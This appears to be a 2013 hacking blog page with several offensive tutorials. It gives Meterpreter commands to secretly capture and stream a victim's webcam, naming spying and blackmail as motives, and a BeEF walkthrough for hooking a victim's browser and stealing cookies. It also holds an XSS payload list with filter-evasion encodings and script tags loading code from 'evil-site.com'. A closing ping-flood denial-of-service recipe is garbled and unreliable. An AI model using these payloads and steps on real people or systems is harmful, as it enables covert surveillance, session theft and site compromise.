Welcome to XnonymouX Blog

Showing posts with label Web Hacking. Show all posts
Showing posts with label Web Hacking. Show all posts

Friday, 22 February 2013

How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam Remotely

By on 22:53
———————————————————————————————
How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam Remotely
———————————————————————————————

Welcome back ,

Like in my last article on remotely installing a keylogger onto somebody's computer, this guide will continue to display the abilities of Metasploit's powerful Meterpreter by hacking into the victim's webcam. This will allow us to control the webcam remotely, capturing snapshots from it.

Pic : http://bit.ly/Yrfb0G

Why exactly would you want to hack into somebody's webcam? Maybe you suspect your significant other of having a fling. Or, maybe you're into blackmailing. Or, maybe you're just a creep. But the real purpose is to show just how easy it is, so you're aware that it can be done—and so you can protect yourself against it.

Pic : http://bit.ly/XQsdF5


Unlike just installing a command shell on the victim computer, the Meterpreter has the power to do numerous and nearly unlimited things on the target's computer. The key is to get the Meterpreter installed on their system first.

Pic : http://bit.ly/Zx6icF

So, now let’s fire up Metasploit and install Meterpreter on the victim's system. Once we have done that, we can then begin to view and capture images from their webcam.

Step 1: List the Victim's Webcams

Metasploit's Meterpreter has a built-in module for controlling the remote system's webcam. The first thing we need to do is to check if there is a web cam, and if there is, get its name. We can do that by typing :

meterpreter > webcam_list

If he/she has a webcam, the system will come back with a list of all the webcams.

Step 2: Snap Pictures from the Victim's Webcam

Now that we know he/she has a webcam, we can take a snapshot from the webcam by typing :

meterpreter > webcam_snap

The system will now save a snapshot from her webcam onto our system in the directory /opt/framework3/msf3, which we can open and see what's going on.

Pic : http://bit.ly/15AMmGq

The quality of the image saved all depends on your victim's webcam and surroundings.

Step 3: Watch Streaming Video from the Victim's Webcam

Now that we know how to capture a single snapshot from the victim's webcam, we will now want to run the webcam so that we can watch a continuous video stream. We can do this by typing :

meterpreter > run webcam -p /var/www

This command starts his/her webcam and sends its streaming output to /var/www/webcam.htm.

How to Protect Yourself from Webcam Intrusion :

So, what can you do to make sure no one is peeking in on your habits in front of the computer? The easiest solution—cover your webcam up. Some laptops with built-in webcams actually have a slide cover you can use.

Pic : http://bit.ly/Wf27Ml

If that's not the case, a piece of non-translucent tape should to the trick, unless you want to buy one of these or these things. And if you still have one of those old-school USB webcams, simply unplug it.

We will continue to explore fun ways we can use the Meterpreter in the near future, so make sure to come back for more!

Hacking a Web-browser with beef

By on 01:49

Hacking a Web-browser with beef

Browser Exploration Framework is mainly used to exploit a Web-browser.When i was trying it I play a varied types of pranks with victim browser like making open a pop-up window,playing a sound,stealing cookie etc. So lets start hacking.
Follow all the steps according to my post ======>


1. First install beef by clicking on Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework->BeEF Installer.


2. Now when beef installs open beef by going to same directory like in 1st step then click on beef and beef will start connecting.


3. Now copy the open the url written in front of hook url like in image.


4. After opening the link u will see a login page just put username beef and password beef to login.


5. Now a window will open showing you beef control panel,now the main exploration will start.


6. Now send this link  http://127.0.0.1:3000/demos/basic.html to victim.




7. Once victim will open you will be connected to his computer through his browser and you will see connected browsers at top left bottom under the Online browser tab like in image.


8. Click on any online browser in online browser tab and you will get a page with a full information of browser.


9. Then click on Commands tab to start open various exploits and tools.


10. Now use any of commands to making pranks with the victim.


Note;---> its for educational purpose only.
While doing all this don't close the terminal that will open as opening of beef.

Tuesday, 19 February 2013

Non Persistent Xss Attack

By on 06:26

The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net.

It's commonly named as "non-persistent" because it works on an immediate HTTP response from the

 victim website: it show up when the webpage get the data provided by the attacker's client to

automatically generate a result page for the attackers himself. Standing on this the attacker could

provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker

writes some arbitrary HTML code in the search textbox and, if the website 


is vulnerable, the result page will return the result of these HTML entities.

Simply put, cross site scripting involves the injection of malicious code into a website. It is the most
  
common method of attack at the moment, as most large sites will contain at least one XSS

vulnerability. However, there is more than one type of XSS. The most commonly found is referred to

as "non persistent" XSS. 

None Persistent XSS

Non persistent as the title suggests means that the injected script isn't permanent and just appears for

 the short time the user is viewing the page. The best example of this is a basic coded search engine

for a site. Say for example, the site search script is in this format:

Site.com/search.php?search=text here 

Once something has been searched for, the script may display on the page something along the lines

of:

"Results for text here"

Simply echoing your search string straight onto the page without performing any validation checks.

What if we were to alter the search string to display html of JavaScript? For example:

Site.com/search.php?search=<font color=red>XSS</font> 

Site.com/search.php?search=<script>alert("XSS");</script>

If no sanitation checks are being performed by the search script, this will just be echoed straight onto

the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used

 to display anything you want. 

However, since the attacker can only display code on their own pages, this isn't much of a threat to

other users. Although if the string was turned into Hex the search string may be slightly more hidden

and with a little deception could be used to trick users into thinking the link is legitimate. 


Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Persistent XSS Attack

By on 00:36

The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both

works on a victim site and tries to hack users informations and the difference is that in websites

vulnerables to Persistent XSS the attacker doesn't need to



provide the crafted url to the users, because the website itself permits to users to insert fixed data into

the system: this is the case for example of "guestbooks". Usually the users uses 


that kind of tool to leave messages to the owned 

of the website and at a first look it doesn't seems something dangerous, but if an 

attacker discover that the system is vulnerable can insert some malicious code in his

message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any 

check on the content of the inserted message: it just inserts the data provided from

the user into the result page.

Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent

attacks are injected permanently into the code of the site, so anyone who views the site will be able

to

see permanently. In order for these to work, the code has to be made to store itself on the sites server

somehow, which can be hard to find. 

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users
 (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a

 user had to do was simply register with a username containing HTML or JavaScript code. This was

an obvious vulnerability which should have been spotted from the beginning, but just like XSS on

other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and

 anywhere where the username was displayed on the site. A good place to look out for this

vulnerability is basic forum scripts that site owners have made themselves or found off sites

designed

to help novices. 

With both of these attacks, it is also possible to run malicious code from another site again making

the possibilities of attack endless. Javascript has a lot of features the are not well know, such as

changing the images on sites from images[number].src and anyone who uses myspace will know the

CSS can be used to remove or replace certain sections of a site based on name. If you have a

permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off

another site.

<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>


Getting Past Basic Protection ?

So what if a site owner knows about XSS, but has provided some but very little protection against it?

Well, this is where CharCode comes in. Char code is basically just a simple form of character

encoding that can encode blocked characters so they get past the protection but still get displayed

normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is

vulnerable.

';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>  

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get

only

one or two alerts, you know that only one of two of them work, so you need to try to eliminate some

 of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can

 see, each provides a slight variation to try to beat character blocking. 

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript

disguised as an image.

<img src="javascript:alert('XSS');">

What if quotes are blocked? No problem, just inject the site like so: 

<img src=javascript:alert(&quot;XSS&quot;)>

The &quot; will be interpreted in html as a " so the code will run fine. The next one below is very

likely to work if you find a site is vulnerable. 

<img src=javascript:alert(String.fromCharCode(88,83,83))>

 The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic

code that was invented to allow all characters to be available to everyone e.g. for different languages

such as chinese character symbols. And ASCII has a similar purpose. You can go to 

Click Me to view the HTML code needed for ASCII code. This below shows the

whole code in ASCII form.

<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> 

 As you can tell, this will beat many filters as the code is basically unrecognisable. However, 

translating the code can display what it was designed to do. Next for Unicode, again this makes the 

 text unrecognisable but works the same.

<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041> 

 If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned

previously, hex can also be used for XSS. The example below shows this

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many

ways to bypass security checks site owners have to work harder to try to protect their sites. As

well as web forms being used on most sites these days allowing users to enter code which will be

stored somewhere and inevitably viewed by someone else XSS can be used for almost anything.

With practise XSS can be used to run a hidden cookie stealer which a user will view and allow

you to steal their login info or if sessions are used perform "session hijacking" where you steal

their session data and again log in as them. To the simple defacement of a website through HTML

or Javascript. XSS is definitely an attack method which should be studied well as it provides such

a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to

mention them here, but I will finish with some more XSS examples that may effect a vulnerable

site.

<IMG SRC="jav&#x0A;ascript:alert('XSS');"> - new line vulnerability 

 

<iframe src=http://evil-site.com/evil.html < - XSS using an iframe to display a whole new page

 

<SCRIPT>x=/XSS/ alert(x.source)</SCRIPT> - again beat checks using Javascript

 

<BODY BACKGROUND="javascript:alert('XSS')"> - infected body tag

 

<BGSOUND SRC="javascript:alert('XSS');">

 

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - stylesheet vulnerability

 

<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language similar to javascript, again can help beat validation checks

 

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - incorrectly parsed meta refresh

 

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">





base64 encoding, another form of encryption, this one is less likely to work
.
<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT> - very sneaky method, here you

rename

your .js to .jpg, but since you have the script tags it will still be read as a js file.

The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly

written HTML code will be the best method. If one way doesn't work, try adding an extra ">" or

"<" to the start or end of the code for example or view the source of the page for code tags you

need to close. Adding a "'>" to the end then starting your own malicious code. Well, that's the end

 of this tutorial. For more XSS attack example just use google as more of these are being though

up every day. Soon you should even be able to invent your own.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Monday, 18 February 2013

how to hack a website by using cmd

By on 20:58
how to hack a website by using cmd?

hlo,frndz i'm going to show u how to hack a website by using cmd or using deniel service attack
frst of all what is deniel service attack it means when a website get more data from its capacity and it crashed this is called deniel service attack
for this attack u have a great internet speed bcoz if ur pc has slow speed u havebeen traced by host and u gone to jail

step 1.press wni key+r for run and type cmd for command prompt
2.when cmd open type ping www.sitename.com which u want to crashed or down
3.then it show its ip
4.open notepadand type "ping www.sitename.com-t-l65500 " and save it xxx.bat
5.open the notepad file and it take some time it show "request timed out" but wait and it show its result....

note: in my way do'nt take any risk and i'm not responsibli for any hacking purpose....